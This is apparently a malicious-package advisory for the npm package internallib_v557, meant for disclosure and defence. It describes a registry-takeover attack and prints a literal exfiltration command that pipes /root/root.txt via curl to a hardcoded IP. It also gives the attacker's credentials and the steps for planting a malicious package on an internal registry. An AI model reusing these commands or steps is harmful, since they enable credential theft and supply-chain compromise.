MAL-2026-5678
Dashboard / Malicious Package / MAL-2026-5678
MAL-2026-5678
Summary: Malicious code in internallib_v557 (npm)
Details: Source: amazon-inspector (275af9596caf2b68994ca8282da7e127f8a4478e07888dbae73826328b4e41f2) index.js implements a multi-step attack against an internal npm registry. On invocation of the exported command(), it: (1) creates a Verdaccio user `pwn99`/`pwn99pass` against http://0.0.0.0:4873/-/user/org.couchdb.user:pwn99 via curl PUT; (2) queries the existing `uhclabs_local_check` package metadata; (3) writes /tmp/pwn99/.npmrc containing a base64-encoded `_auth` for those credentials; (4) `npm publish`es a malicious `[email protected]` to http://0.0.0.0:4873/ whose package.json `scripts.start` is `cat /root/root.txt | curl -s -d @- http://10.0.0.145:8888/rootflag`; and (5) at every step pipes output (user-create response, version listing, publish stdout/stderr, error output) to http://10.0.0.145:8888/step{1..n} via curl. The downstream effect: any installer who later pulls `uhclabs_local_check` from the internal registry and runs its start script will exfiltrate the contents of /root/root.txt to the hardcoded attacker IP. The attacker also leaves a persistent publishing identity on the internal registry usable for future malicious releases of internal packages. This is a self-propagating namespace-takeover attack with a hardcoded C2 beacon and attacker-controlled persistence — there is no legitimate purpose consistent with the package's stated 'internal lib' scope. Source: ghsa-malware (01f8e07bee9ab2ae588adc8e2a336402209278d33450747a00d2ad75ffb9e68d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References: https://www.npmjs.com/package/internallib_v557/v/1.0.10, https://www.npmjs.com/package/internallib_v557/v/1.0.12, https://www.npmjs.com/package/internallib_v557/v/1.0.1, https://www.npmjs.com/package/internallib_v557/v/1.0.21, https://www.npmjs.com/package/internallib_v557/v/1.0.19, https://www.npmjs.com/package/internallib_v557/v/1.0.15, https://www.npmjs.com/package/internallib_v557/v/1.0.23, https://www.npmjs.com/package/internallib_v557/v/1.0.16, https://www.npmjs.com/package/internallib_v557/v/1.0.3, https://www.npmjs.com/package/internallib_v557/v/1.0.11, https://www.npmjs.com/package/internallib_v557/v/1.0.7, https://www.npmjs.com/package/internallib_v557/v/1.0.14, https://www.npmjs.com/package/internallib_v557/v/1.0.6, https://www.npmjs.com/package/internallib_v557/v/1.0.5, https://www.npmjs.com/package/internallib_v557/v/1.0.13, https://www.npmjs.com/package/internallib_v557/v/1.0.4, https://www.npmjs.com/package/internallib_v557/v/1.0.9, https://www.npmjs.com/package/internallib_v557/v/1.0.2, https://www.npmjs.com/package/internallib_v557/v/1.0.22, https://www.npmjs.com/package/internallib_v557/v/1.0.24, https://www.npmjs.com/package/internallib_v557/v/1.0.18, https://www.npmjs.com/package/internallib_v557/v/1.0.8, https://github.com/advisories/GHSA-945p-4458-jg48, https://www.npmjs.com/package/internallib_v557/v/1.0.17, https://www.npmjs.com/package/internallib_v557/v/1.0.20
Affected packages
Package
Name: internallib_v557
Purl: pkg:npm/internallib_v557
Affected ranges
Type: SEMVER
Events:
